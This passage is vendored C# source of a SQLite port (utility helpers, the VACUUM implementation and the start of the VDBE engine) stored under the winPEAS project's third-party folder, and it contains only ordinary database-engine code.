 */\n    static u32 sqlite3Get4byte( u8[] p, int p_offset, int offset )\n    {\n      offset += p_offset;\n      return (u32)( ( p[0 + offset] << 24 ) | ( p[1 + offset] << 16 ) | ( p[2 + offset] << 8 ) | p[3 + offset] );\n    }\n    static u32 sqlite3Get4byte( u8[] p, int offset )\n    {\n      return (u32)( ( p[0 + offset] << 24 ) | ( p[1 + offset] << 16 ) | ( p[2 + offset] << 8 ) | p[3 + offset] );\n    }\n    static u32 sqlite3Get4byte( u8[] p, u32 offset )\n    {\n      return (u32)( ( p[0 + offset] << 24 ) | ( p[1 + offset] << 16 ) | ( p[2 + offset] << 8 ) | p[3 + offset] );\n    }\n    static u32 sqlite3Get4byte( u8[] p )\n    {\n      return (u32)( ( p[0] << 24 ) | ( p[1] << 16 ) | ( p[2] << 8 ) | p[3] );\n    }\n    static void sqlite3Put4byte( byte[] p, int v )\n    {\n      p[0] = (byte)( v >> 24 & 0xFF );\n      p[1] = (byte)( v >> 16 & 0xFF );\n      p[2] = (byte)( v >> 8 & 0xFF );\n      p[3] = (byte)( v & 0xFF );\n    }\n    static void sqlite3Put4byte( byte[] p, int offset, int v )\n    {\n      p[0 + offset] = (byte)( v >> 24 & 0xFF );\n      p[1 + offset] = (byte)( v >> 16 & 0xFF );\n      p[2 + offset] = (byte)( v >> 8 & 0xFF );\n      p[3 + offset] = (byte)( v & 0xFF );\n    }\n    static void sqlite3Put4byte( byte[] p, u32 offset, u32 v )\n    {\n      p[0 + offset] = (byte)( v >> 24 & 0xFF );\n      p[1 + offset] = (byte)( v >> 16 & 0xFF );\n      p[2 + offset] = (byte)( v >> 8 & 0xFF );\n      p[3 + offset] = (byte)( v & 0xFF );\n    }\n    static void sqlite3Put4byte( byte[] p, int offset, u64 v )\n    {\n      p[0 + offset] = (byte)( v >> 24 & 0xFF );\n      p[1 + offset] = (byte)( v >> 16 & 0xFF );\n      p[2 + offset] = (byte)( v >> 8 & 0xFF );\n      p[3 + offset] = (byte)( v & 0xFF );\n    }\n    static void sqlite3Put4byte( byte[] p, u64 v )\n    {\n      p[0] = (byte)( v >> 24 & 0xFF );\n      p[1] = (byte)( v >> 16 & 0xFF );\n      p[2] = (byte)( v >> 8 & 0xFF );\n      p[3] = (byte)( v & 0xFF );\n    }\n\n\n\n#if !SQLITE_OMIT_BLOB_LITERAL || SQLITE_HAS_CODEC\n    /*\n** Translate a single byte of Hex into an integer.\n** This routinen only works if h really is a valid hexadecimal\n** character:  0..9a..fA..F\n*/\n    static int hexToInt( int h )\n    {\n      Debug.Assert( ( h >= '0' && h <= '9' ) || ( h >= 'a' && h <= 'f' ) || ( h >= 'A' && h <= 'F' ) );\n#if SQLITE_ASCII\n      h += 9 * ( 1 & ( h >> 6 ) );\n#endif\n#if SQLITE_EBCDIC\nh += 9*(1&~(h>>4));\n#endif\n      return h & 0xf;\n    }\n#endif // * !SQLITE_OMIT_BLOB_LITERAL || SQLITE_HAS_CODEC */\n\n#if !SQLITE_OMIT_BLOB_LITERAL || SQLITE_HAS_CODEC\n    /*\n** Convert a BLOB literal of the form \"x'hhhhhh'\" into its binary\n** value.  Return a pointer to its binary value.  Space to hold the\n** binary value has been obtained from malloc and must be freed by\n** the calling routine.\n*/\n    static byte[] sqlite3HexToBlob( sqlite3 db, string z, int n )\n    {\n      StringBuilder zBlob;\n      int i;\n\n      zBlob = new StringBuilder( n / 2 + 1 );// (char*)sqlite3DbMallocRaw(db, n / 2 + 1);\n      n--;\n      if ( zBlob != null )\n      {\n        for ( i = 0 ; i < n ; i += 2 )\n        {\n          zBlob.Append( Convert.ToChar( ( hexToInt( z[i] ) << 4 ) | hexToInt( z[i + 1] ) ) );\n        }\n        //zBlob[i / 2] = '\\0'; ;\n      }\n      return Encoding.UTF8.GetBytes( zBlob.ToString() );\n    }\n#endif // * !SQLITE_OMIT_BLOB_LITERAL || SQLITE_HAS_CODEC */\n\n\n\n    /*\n** Change the sqlite.magic from SQLITE_MAGIC_OPEN to SQLITE_MAGIC_BUSY.\n** Return an error (non-zero) if the magic was not SQLITE_MAGIC_OPEN\n** when this routine is called.\n**\n** This routine is called when entering an SQLite API.  The SQLITE_MAGIC_OPEN\n** value indicates that the database connection passed into the API is\n** open and is not being used by another thread.  By changing the value\n** to SQLITE_MAGIC_BUSY we indicate that the connection is in use.\n** sqlite3SafetyOff() below will change the value back to SQLITE_MAGIC_OPEN\n** when the API exits.\n**\n** This routine is a attempt to detect if two threads use the\n** same sqlite* pointer at the same time.  There is a race\n** condition so it is possible that the error is not detected.\n** But usually the problem will be seen.  The result will be an\n** error which can be used to debug the application that is\n** using SQLite incorrectly.\n**\n** Ticket #202:  If db.magic is not a valid open value, take care not\n** to modify the db structure at all.  It could be that db is a stale\n** pointer.  In other words, it could be that there has been a prior\n** call to sqlite3_close(db) and db has been deallocated.  And we do\n** not want to write into deallocated memory.\n*/\n#if SQLITE_DEBUG\n    static bool sqlite3SafetyOn( sqlite3 db )\n    {\n      if ( db.magic == SQLITE_MAGIC_OPEN )\n      {\n        db.magic = SQLITE_MAGIC_BUSY;\n        Debug.Assert( sqlite3_mutex_held( db.mutex ) );\n        return false;\n      }\n      else if ( db.magic == SQLITE_MAGIC_BUSY )\n      {\n        db.magic = SQLITE_MAGIC_ERROR;\n        db.u1.isInterrupted = true;\n      }\n      return true;\n    }\n#else\nstatic bool sqlite3SafetyOn( sqlite3 db ) {return false;}\n#endif\n\n    /*\n** Change the magic from SQLITE_MAGIC_BUSY to SQLITE_MAGIC_OPEN.\n** Return an error (non-zero) if the magic was not SQLITE_MAGIC_BUSY\n** when this routine is called.\n*/\n#if SQLITE_DEBUG\n    static bool sqlite3SafetyOff( sqlite3 db )\n    {\n      if ( db.magic == SQLITE_MAGIC_BUSY )\n      {\n        db.magic = SQLITE_MAGIC_OPEN;\n        Debug.Assert( sqlite3_mutex_held( db.mutex ) );\n        return false;\n      }\n      else\n      {\n        db.magic = SQLITE_MAGIC_ERROR;\n        db.u1.isInterrupted = true;\n        return true;\n      }\n    }\n#else\nstatic bool sqlite3SafetyOff( sqlite3 db ) { return false; }\n#endif\n\n    /*\n** Check to make sure we have a valid db pointer.  This test is not\n** foolproof but it does provide some measure of protection against\n** misuse of the interface such as passing in db pointers that are\n** NULL or which have been previously closed.  If this routine returns\n** 1 it means that the db pointer is valid and 0 if it should not be\n** dereferenced for any reason.  The calling function should invoke\n** SQLITE_MISUSE immediately.\n**\n** sqlite3SafetyCheckOk() requires that the db pointer be valid for\n** use.  sqlite3SafetyCheckSickOrOk() allows a db pointer that failed to\n** open properly and is not fit for general use but which can be\n** used as an argument to sqlite3_errmsg() or sqlite3_close().\n*/\n    static bool sqlite3SafetyCheckOk( sqlite3 db )\n    {\n      u32 magic;\n      if ( db == null ) return false;\n      magic = db.magic;\n      if ( magic != SQLITE_MAGIC_OPEN\n#if SQLITE_DEBUG\n && magic != SQLITE_MAGIC_BUSY\n#endif\n )\n      {\n        return false;\n      }\n      else\n      {\n        return true;\n      }\n    }\n\n    static bool sqlite3SafetyCheckSickOrOk( sqlite3 db )\n    {\n      u32 magic;\n      magic = db.magic;\n      if ( magic != SQLITE_MAGIC_SICK &&\n      magic != SQLITE_MAGIC_OPEN &&\n      magic != SQLITE_MAGIC_BUSY ) return false;\n      return true;\n    }\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/vacuum_c.cs",
    "content": "using System.Diagnostics;\nusing u32 = System.UInt32;\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n  using sqlite3_stmt = CSSQLite.Vdbe;\n\n  public partial class CSSQLite\n  {\n    /*\n    ** 2003 April 6\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    ** This file contains code used to implement the VACUUM command.\n    **\n    ** Most of the code in this file may be omitted by defining the\n    ** SQLITE_OMIT_VACUUM macro.\n    **\n    ** $Id: vacuum.c,v 1.91 2009/07/02 07:47:33 danielk1977 Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#include \"sqliteInt.h\"\n    //#include \"vdbeInt.h\"\n\n#if !SQLITE_OMIT_VACUUM && !SQLITE_OMIT_ATTACH\n    /*\n** Execute zSql on database db. Return an error code.\n*/\n    static int execSql( sqlite3 db, string zSql )\n    {\n      sqlite3_stmt pStmt = null;\n#if !NDEBUG\n      int rc;\n      //VVA_ONLY( int rc; )\n#endif\n      if ( zSql == null )\n      {\n        return SQLITE_NOMEM;\n      }\n      string Dummy = null;\n      if ( SQLITE_OK != sqlite3_prepare( db, zSql, -1, ref pStmt, ref Dummy ) )\n      {\n        return sqlite3_errcode( db );\n      }\n#if !NDEBUG\n      rc = sqlite3_step( pStmt );\n      //VVA_ONLY( rc = ) sqlite3_step(pStmt);\n      Debug.Assert( rc != SQLITE_ROW );\n#else\nsqlite3_step(pStmt);\n#endif\n      return sqlite3_finalize( ref pStmt );\n    }\n\n    /*\n    ** Execute zSql on database db. The statement returns exactly\n    ** one column. Execute this as SQL on the same database.\n    */\n    static int execExecSql( sqlite3 db, string zSql )\n    {\n      sqlite3_stmt pStmt = null;\n      int rc;\n\n      string Dummy = null;\n      rc = sqlite3_prepare( db, zSql, -1, ref pStmt, ref Dummy );\n      if ( rc != SQLITE_OK ) return rc;\n\n      while ( SQLITE_ROW == sqlite3_step( pStmt ) )\n      {\n        rc = execSql( db, sqlite3_column_text( pStmt, 0 ) );\n        if ( rc != SQLITE_OK )\n        {\n          sqlite3_finalize( ref pStmt );\n          return rc;\n        }\n      }\n\n      return sqlite3_finalize( ref pStmt );\n    }\n\n    /*\n    ** The non-standard VACUUM command is used to clean up the database,\n    ** collapse free space, etc.  It is modelled after the VACUUM command\n    ** in PostgreSQL.\n    **\n    ** In version 1.0.x of SQLite, the VACUUM command would call\n    ** gdbm_reorganize() on all the database tables.  But beginning\n    ** with 2.0.0, SQLite no longer uses GDBM so this command has\n    ** become a no-op.\n    */\n    static void sqlite3Vacuum( Parse pParse )\n    {\n      Vdbe v = sqlite3GetVdbe( pParse );\n      if ( v != null )\n      {\n        sqlite3VdbeAddOp2( v, OP_Vacuum, 0, 0 );\n      }\n      return;\n    }\n\n    /*\n    ** This routine implements the OP_Vacuum opcode of the VDBE.\n    */\n    static int sqlite3RunVacuum( ref string pzErrMsg, sqlite3 db )\n    {\n      int rc = SQLITE_OK;     /* Return code from service routines */\n      Btree pMain;            /* The database being vacuumed */\n      Btree pTemp;            /* The temporary database we vacuum into */\n      string zSql = \"\";       /* SQL statements */\n      int saved_flags;        /* Saved value of the db.flags */\n      int saved_nChange;      /* Saved value of db.nChange */\n      int saved_nTotalChange; /* Saved value of db.nTotalChange */\n      Db pDb = null;          /* Database to detach at end of vacuum */\n      bool isMemDb;           /* True if vacuuming a :memory: database */\n      int nRes;\n\n      if ( 0 == db.autoCommit )\n      {\n        sqlite3SetString( ref pzErrMsg, db, \"cannot VACUUM from within a transaction\" );\n        return SQLITE_ERROR;\n      }\n\n      /* Save the current value of the write-schema flag before setting it. */\n      saved_flags = db.flags;\n      saved_nChange = db.nChange;\n      saved_nTotalChange = db.nTotalChange;\n      db.flags |= SQLITE_WriteSchema | SQLITE_IgnoreChecks;\n\n      pMain = db.aDb[0].pBt;\n      isMemDb = sqlite3PagerIsMemdb( sqlite3BtreePager( pMain ) );\n\n      /* Attach the temporary database as 'vacuum_db'. The synchronous pragma\n      ** can be set to 'off' for this file, as it is not recovered if a crash\n      ** occurs anyway. The integrity of the database is maintained by a\n      ** (possibly synchronous) transaction opened on the main database before\n      ** sqlite3BtreeCopyFile() is called.\n      **\n      ** An optimisation would be to use a non-journaled pager.\n      ** (Later:) I tried setting \"PRAGMA vacuum_db.journal_mode=OFF\" but\n      ** that actually made the VACUUM run slower.  Very little journalling\n      ** actually occurs when doing a vacuum since the vacuum_db is initially\n      ** empty.  Only the journal header is written.  Apparently it takes more\n      ** time to parse and run the PRAGMA to turn journalling off than it does\n      ** to write the journal header file.\n      */\n      zSql = \"ATTACH '' AS vacuum_db;\";\n      rc = execSql( db, zSql );\n      if ( rc != SQLITE_OK ) goto end_of_vacuum;\n      pDb = db.aDb[db.nDb - 1];\n      Debug.Assert( db.aDb[db.nDb - 1].zName == \"vacuum_db\" );\n      pTemp = db.aDb[db.nDb - 1].pBt;\n\n      nRes = sqlite3BtreeGetReserve( pMain );\n\n      /* A VACUUM cannot change the pagesize of an encrypted database. */\n#if SQLITE_HAS_CODEC\nif( db.nextPagesize ){\nextern void sqlite3CodecGetKey(sqlite3*, int, void**, int*);\nint nKey;\nchar *zKey;\nsqlite3CodecGetKey(db, 0, (void**)&zKey, nKey);\nif( nKey ) db.nextPagesize = 0;\n}\n#endif\n\n      if ( sqlite3BtreeSetPageSize( pTemp, sqlite3BtreeGetPageSize( pMain ), nRes, 0 ) != 0\n      || ( !isMemDb && sqlite3BtreeSetPageSize( pTemp, db.nextPagesize, nRes, 0 ) != 0 )\n      //|| NEVER( db.mallocFailed != 0 )\n      )\n      {\n        rc = SQLITE_NOMEM;\n        goto end_of_vacuum;\n      }\n      rc = execSql( db, \"PRAGMA vacuum_db.synchronous=OFF\" );\n      if ( rc != SQLITE_OK )\n      {\n        goto end_of_vacuum;\n      }\n\n#if !SQLITE_OMIT_AUTOVACUUM\n      sqlite3BtreeSetAutoVacuum( pTemp, db.nextAutovac >= 0 ? db.nextAutovac :\n                             sqlite3BtreeGetAutoVacuum( pMain ) );\n#endif\n\n      /* Begin a transaction */\n      rc = execSql( db, \"BEGIN EXCLUSIVE;\" );\n      if ( rc != SQLITE_OK ) goto end_of_vacuum;\n\n      /* Query the schema of the main database. Create a mirror schema\n      ** in the temporary database.\n      */\n      rc = execExecSql( db,\n      \"SELECT 'CREATE TABLE vacuum_db.' || substr(sql,14) \" +\n      \"  FROM sqlite_master WHERE type='table' AND name!='sqlite_sequence'\" +\n      \"   AND rootpage>0\"\n      );\n      if ( rc != SQLITE_OK ) goto end_of_vacuum;\n      rc = execExecSql( db,\n      \"SELECT 'CREATE INDEX vacuum_db.' || substr(sql,14)\" +\n      \"  FROM sqlite_master WHERE sql LIKE 'CREATE INDEX %' \" );\n      if ( rc != SQLITE_OK ) goto end_of_vacuum;\n      rc = execExecSql( db,\n      \"SELECT 'CREATE UNIQUE INDEX vacuum_db.' || substr(sql,21) \" +\n      \"  FROM sqlite_master WHERE sql LIKE 'CREATE UNIQUE INDEX %'\" );\n      if ( rc != SQLITE_OK ) goto end_of_vacuum;\n\n      /* Loop through the tables in the main database. For each, do\n      ** an \"INSERT INTO vacuum_db.xxx SELECT * FROM xxx;\" to copy\n      ** the contents to the temporary database.\n      */\n      rc = execExecSql( db,\n      \"SELECT 'INSERT INTO vacuum_db.' || quote(name) \" +\n      \"|| ' SELECT * FROM ' || quote(name) || ';'\" +\n      \"FROM sqlite_master \" +\n      \"WHERE type = 'table' AND name!='sqlite_sequence' \" +\n      \"  AND rootpage>0\"\n\n      );\n      if ( rc != SQLITE_OK ) goto end_of_vacuum;\n\n      /* Copy over the sequence table\n      */\n      rc = execExecSql( db,\n      \"SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' \" +\n      \"FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence' \"\n      );\n      if ( rc != SQLITE_OK ) goto end_of_vacuum;\n      rc = execExecSql( db,\n      \"SELECT 'INSERT INTO vacuum_db.' || quote(name) \" +\n      \"|| ' SELECT * FROM ' || quote(name) || ';' \" +\n      \"FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';\"\n      );\n      if ( rc != SQLITE_OK ) goto end_of_vacuum;\n\n\n      /* Copy the triggers, views, and virtual tables from the main database\n      ** over to the temporary database.  None of these objects has any\n      ** associated storage, so all we have to do is copy their entries\n      ** from the SQLITE_MASTER table.\n      */\n      rc = execSql( db,\n      \"INSERT INTO vacuum_db.sqlite_master \" +\n      \"  SELECT type, name, tbl_name, rootpage, sql\" +\n      \"    FROM sqlite_master\" +\n      \"   WHERE type='view' OR type='trigger'\" +\n      \"      OR (type='table' AND rootpage=0)\"\n      );\n      if ( rc != 0 ) goto end_of_vacuum;\n\n      /* At this point, unless the main db was completely empty, there is now a\n      ** transaction open on the vacuum database, but not on the main database.\n      ** Open a btree level transaction on the main database. This allows a\n      ** call to sqlite3BtreeCopyFile(). The main database btree level\n      ** transaction is then committed, so the SQL level never knows it was\n      ** opened for writing. This way, the SQL transaction used to create the\n      ** temporary database never needs to be committed.\n      */\n      {\n        u32 meta = 0;\n        int i;\n\n        /* This array determines which meta meta values are preserved in the\n        ** vacuum.  Even entries are the meta value number and odd entries\n        ** are an increment to apply to the meta value after the vacuum.\n        ** The increment is used to increase the schema cookie so that other\n        ** connections to the same database will know to reread the schema.\n        */\n        byte[] aCopy = new byte[]  {\nBTREE_SCHEMA_VERSION,     1,  /* Add one to the old schema cookie */\nBTREE_DEFAULT_CACHE_SIZE, 0,  /* Preserve the default page cache size */\nBTREE_TEXT_ENCODING,      0,  /* Preserve the text encoding */\nBTREE_USER_VERSION,       0,  /* Preserve the user version */\n};\n\n        Debug.Assert( sqlite3BtreeIsInTrans( pTemp ) );\n        Debug.Assert( sqlite3BtreeIsInTrans( pMain ) );\n\n        /* Copy Btree meta values */\n        for ( i = 0 ; i < ArraySize( aCopy ) ; i += 2 )\n        {\n          /* GetMeta() and UpdateMeta() cannot fail in this context because\n          ** we already have page 1 loaded into cache and marked dirty. */\n          sqlite3BtreeGetMeta( pMain, aCopy[i], ref meta );\n          rc = sqlite3BtreeUpdateMeta( pTemp, aCopy[i], (u32)( meta + aCopy[i + 1] ) );\n          if ( NEVER( rc != SQLITE_OK ) ) goto end_of_vacuum;\n        }\n\n        rc = sqlite3BtreeCopyFile( pMain, pTemp );\n        if ( rc != SQLITE_OK ) goto end_of_vacuum;\n        rc = sqlite3BtreeCommit( pTemp );\n        if ( rc != SQLITE_OK ) goto end_of_vacuum;\n#if !SQLITE_OMIT_AUTOVACUUM\n        sqlite3BtreeSetAutoVacuum( pMain, sqlite3BtreeGetAutoVacuum( pTemp ) );\n#endif\n      }\n      Debug.Assert( rc == SQLITE_OK );\n      rc = sqlite3BtreeSetPageSize( pMain, sqlite3BtreeGetPageSize( pTemp ), nRes, 1 );\n\nend_of_vacuum:\n      /* Restore the original value of db.flags */\n      db.flags = saved_flags;\n      db.nChange = saved_nChange;\n      db.nTotalChange = saved_nTotalChange;\n\n      /* Currently there is an SQL level transaction open on the vacuum\n      ** database. No locks are held on any other files (since the main file\n      ** was committed at the btree level). So it safe to end the transaction\n      ** by manually setting the autoCommit flag to true and detaching the\n      ** vacuum database. The vacuum_db journal file is deleted when the pager\n      ** is closed by the DETACH.\n      */\n      db.autoCommit = 1;\n\n      if ( pDb != null )\n      {\n        sqlite3BtreeClose( ref pDb.pBt );\n        pDb.pBt = null;\n        pDb.pSchema = null;\n      }\n\n      sqlite3ResetInternalSchema( db, 0 );\n\n      return rc;\n    }\n#endif  // * SQLITE_OMIT_VACUUM && SQLITE_OMIT_ATTACH */\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/vdbe_c.cs",
    "content": "using System;\nusing System.Diagnostics;\nusing System.Text;\nusing i64 = System.Int64;\n\nusing u8 = System.Byte;\nusing u16 = System.UInt16;\nusing u32 = System.UInt32;\nusing u64 = System.UInt64;\nusing Pgno = System.UInt32;\n\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n  using sqlite3_value = CSSQLite.Mem;\n  using Op = CSSQLite.VdbeOp;\n\n  public partial class CSSQLite\n  {\n    /*\n    ** 2001 September 15\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    ** The code in this file implements execution method of the\n    ** Virtual Database Engine (VDBE).  A separate file (\"vdbeaux.c\")\n    ** handles housekeeping details such as creating and deleting\n    ** VDBE instances.  This file is solely interested in executing\n    ** the VDBE program.\n    **\n    ** In the external interface, an \"sqlite3_stmt*\" is an opaque pointer\n    ** to a VDBE.\n    **\n    ** The SQL parser generates a program which is then executed by\n    ** the VDBE to do the work of the SQL statement.  VDBE programs are\n    ** similar in form to assembly language.  The program consists of\n    ** a linear sequence of operations.  Each operation has an opcode\n    ** and 5 operands.  Operands P1, P2, and P3 are integers.  Operand P4\n    ** is a null-terminated string.  Operand P5 is an unsigned character.\n    ** Few opcodes use all 5 operands.\n    **\n    ** Computation results are stored on a set of registers numbered beginning\n    ** with 1 and going up to Vdbe.nMem.  Each register can store\n    ** either an integer, a null-terminated string, a floating point\n    ** number, or the SQL \"NULL\" value.  An implicit conversion from one\n    ** type to the other occurs as necessary.\n    **\n    ** Most of the code in this file is taken up by the sqlite3VdbeExec()\n    ** function which does the work of interpreting a VDBE program.\n    ** But other routines are also provided to help in building up\n    ** a program instruction by instruction.\n    **\n    ** Various scripts scan this source file in order to generate HTML\n    ** documentation, headers files, or other derived files.  The formatting\n    ** of the code in this file is, therefore, important.  See other comments\n    ** in this file for details.  If in doubt, do not deviate from existing\n    ** commenting and indentation practices when changing or adding code.\n    **\n    ** $Id: vdbe.c,v 1.874 2009/07/24 17:58:53 danielk1977 Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#include \"sqliteInt.h\"\n    //#include \"vdbeInt.h\"\n\n    /*\n    ** The following global variable is incremented every time a cursor\n    ** moves, either by the OP_SeekXX, OP_Next, or OP_Prev opcodes.  The test\n    ** procedures use this information to make sure that indices are\n    ** working correctly.  This variable has no function other than to\n    ** help verify the correct operation of the library.\n    */\n#if  SQLITE_TEST\n    // use SQLITE3_LINK_INT version static int sqlite3_search_count = 0;\n#endif\n\n    /*\n** When this global variable is positive, it gets decremented once before\n** each instruction in the VDBE.  When reaches zero, the u1.isInterrupted\n** field of the sqlite3 structure is set in order to simulate and interrupt.\n**\n** This facility is used for testing purposes only.  It does not function\n** in an ordinary build.\n*/\n#if SQLITE_TEST\n    static int sqlite3_interrupt_count = 0;\n#endif\n\n    /*\n** The next global variable is incremented each type the OP_Sort opcode\n** is executed.  The test procedures use this information to make sure that\n** sorting is occurring or not occurring at appropriate times.   This variable\n** has no function other than to help verify the correct operation of the\n** library.\n*/\n#if SQLITE_TEST\n    // use SQLITE3_LINK_INT version static sqlite3_sort_count = 0;\n#endif\n\n    /*\n** The next global variable records the size of the largest MEM_Blob\n** or MEM_Str that has been used by a VDBE opcode.  The test procedures\n** use this information to make sure that the zero-blob functionality\n** is working correctly.   This variable has no function other than to\n** help verify the correct operation of the library.\n*/\n#if SQLITE_TEST\n    //    static int sqlite3_max_blobsize = 0;\n    static void updateMaxBlobsize( Mem p )\n    {\n      if ( ( p.flags & ( MEM_Str | MEM_Blob ) ) != 0 && p.n > sqlite3_max_blobsize.iValue )\n      {\n        sqlite3_max_blobsize.iValue = p.n;\n      }\n    }\n#endif\n\n    /*\n** Test a register to see if it exceeds the current maximum blob size.\n** If it does, record the new maximum blob size.\n*/\n#if SQLITE_TEST && !SQLITE_OMIT_BUILTIN_TEST\n    static void UPDATE_MAX_BLOBSIZE( Mem P ) { updateMaxBlobsize( P ); }\n#else\n//# define UPDATE_MAX_BLOBSIZE(P)\n#endif\n\n    /*\n** Convert the given register into a string if it isn't one\n** already. Return non-zero if a malloc() fails.\n*/\n    //#define Stringify(P, enc) \\\n    //   if(((P).flags&(MEM_Str|MEM_Blob))==0 && sqlite3VdbeMemStringify(P,enc)) \\\n    //     { goto no_mem; }\n\n    /*\n    ** An ephemeral string value (signified by the MEM_Ephem flag) contains\n    ** a pointer to a dynamically allocated string where some other entity\n    ** is responsible for deallocating that string.  Because the register\n    ** does not control the string, it might be deleted without the register\n    ** knowing it.\n    **\n    ** This routine converts an ephemeral string into a dynamically allocated\n    ** string that the register itself controls.  In other words, it\n    ** converts an MEM_Ephem string into an MEM_Dyn string.\n    */\n    //#define Deephemeralize(P) \\\n    //   if( ((P).flags&MEM_Ephem)!=0 \\\n    //       && sqlite3VdbeMemMakeWriteable(P) ){ goto no_mem;}\n\n    /*\n    ** Call sqlite3VdbeMemExpandBlob() on the supplied value (type Mem*)\n    ** P if required.\n    */\n    //#define ExpandBlob(P) (((P).flags&MEM_Zero)?sqlite3VdbeMemExpandBlob(P):0)\n    static int ExpandBlob( Mem P ) { return ( P.flags & MEM_Zero ) != 0 ? sqlite3VdbeMemExpandBlob( P ) : 0; }\n\n    /*\n    ** Argument pMem points at a register that will be passed to a\n    ** user-defined function or returned to the user as the result of a query.\n    ** The second argument, 'db_enc' is the text encoding used by the vdbe for\n    ** register variables.  This routine sets the pMem.enc and pMem.type\n    ** variables used by the sqlite3_value_*() routines.\n    */\n    static void storeTypeInfo( Mem A, int B )\n    {\n      _storeTypeInfo( A );\n    }\n    static void _storeTypeInfo( Mem pMem )\n    {\n      int flags = pMem.flags;\n      if ( ( flags & MEM_Null ) != 0 )\n      {\n        pMem.type = SQLITE_NULL;\n      }\n      else if ( ( flags & MEM_Int ) != 0 )\n      {\n        pMem.type = SQLITE_INTEGER;\n      }\n      else if ( ( flags & MEM_Real ) != 0 )\n      {\n        pMem.type = SQLITE_FLOAT;\n      }\n      else if ( ( flags & MEM_Str ) != 0 )\n      {\n        pMem.type = SQLITE_TEXT;\n      }\n      else\n      {\n        pMem.type = SQLITE_BLOB;\n      }\n    }\n\n    /*\n    ** Properties of opcodes.  The OPFLG_INITIALIZER macro is\n    ** created by mkopcodeh.awk during compilation.  Data is obtained\n    ** from the comments following the \"case OP_xxxx:\" statements in\n    ** this file.\n    */\n    static int[] opcodeProperty = OPFLG_INITIALIZER;\n\n    /*\n    ** Return true if an opcode has any of the OPFLG_xxx properties\n    ** specified by mask.\n    */\n    static bool sqlite3VdbeOpcodeHasProperty( int opcode, int mask )\n    {\n      Debug.Assert( opcode > 0 && opcode < opcodeProperty.Length );//opcodeProperty).Length;\n      return ( opcodeProperty[opcode] & mask ) != 0;\n    }\n\n    /*\n    ** Allocate VdbeCursor number iCur.  Return a pointer to it.  Return NULL\n    ** if we run out of memory.\n    */\n    static VdbeCursor allocateCursor(\n    Vdbe p,               /* The virtual machine */\n    int iCur,             /* Index of the new VdbeCursor */\n    int nField,           /* Number of fields in the table or index */\n    int iDb,              /* When database the cursor belongs to, or -1 */\n    int isBtreeCursor     /* True for B-Tree vs. pseudo-table or vtab */\n    )\n    {\n      /* Find the memory cell that will be used to store the blob of memory\n      ** required for this VdbeCursor structure. It is convenient to use a\n      ** vdbe memory cell to manage the memory allocation required for a\n      ** VdbeCursor structure for the following reasons:\n      **\n      **   * Sometimes cursor numbers are used for a couple of different\n      **     purposes in a vdbe program. The different uses might require\n      **     different sized allocations. Memory cells provide growable\n      **     allocations.\n      **\n      **   * When using ENABLE_MEMORY_MANAGEMENT, memory cell buffers can\n      **     be freed lazily via the sqlite3_release_memory() API. This\n      **     minimizes the number of malloc calls made by the system.\n      **\n      ** Memory cells for cursors are allocated at the top of the address\n      ** space. Memory cell (p.nMem) corresponds to cursor 0. Space for\n      ** cursor 1 is managed by memory cell (p.nMem-1), etc.\n      */\n      Mem pMem = p.aMem[p.nMem - iCur];\n\n      int nByte;\n      VdbeCursor pCx = null;\n      nByte = -1;\n      //sizeof( VdbeCursor ) +\n      //( isBtreeCursor ? sqlite3BtreeCursorSize() : 0 ) +\n      //2 * nField * sizeof( u32 );\n\n      Debug.Assert( iCur < p.nCursor );\n      if ( p.apCsr[iCur] != null )\n      {\n        sqlite3VdbeFreeCursor( p, p.apCsr[iCur] );\n        p.apCsr[iCur] = null;\n      }\n      if ( SQLITE_OK == sqlite3VdbeMemGrow( pMem, nByte, 0 ) )\n      {\n        p.apCsr[iCur] = pCx = new VdbeCursor();// (VdbeCursor*)pMem.z;\n        //memset( pMem.z, 0, nByte );\n        pCx.iDb = iDb;\n        pCx.nField = nField;\n        if ( nField != 0 )\n        {\n          pCx.aType = new u32[nField];// (u32*)&pMem.z[sizeof( VdbeCursor )];\n        }\n        if ( isBtreeCursor != 0 )\n        {\n          pCx.pCursor = new BtCursor();// (BtCursor*)&pMem.z[sizeof( VdbeCursor ) + 2 * nField * sizeof( u32 )];\n        }\n      }\n      return pCx;\n    }\n\n    /*\n    ** Try to convert a value into a numeric representation if we can\n    ** do so without loss of information.  In other words, if the string\n    ** looks like a number, convert it into a number.  If it does not\n    ** look like a number, leave it alone.\n    */\n    static void applyNumericAffinity( Mem pRec )\n    {\n      if ( ( pRec.flags & ( MEM_Real | MEM_Int ) ) == 0 )\n      {\n        int realnum = 0;\n        sqlite3VdbeMemNulTerminate( pRec );\n        if ( ( pRec.flags & MEM_Str ) != 0\n        && sqlite3IsNumber( pRec.z, ref realnum, pRec.enc ) != 0 )\n        {\n          i64 value = 0;\n          sqlite3VdbeChangeEncoding( pRec, SQLITE_UTF8 );\n          if ( realnum == 0 && sqlite3Atoi64( pRec.z, ref value ) )\n          {\n            pRec.u.i = value;\n            MemSetTypeFlag( pRec, MEM_Int );\n          }\n          else\n          {\n            sqlite3VdbeMemRealify( pRec );\n          }\n        }\n      }\n    }\n\n    /*\n    ** Processing is determine by the affinity parameter:\n    **\n    ** SQLITE_AFF_INTEGER:\n  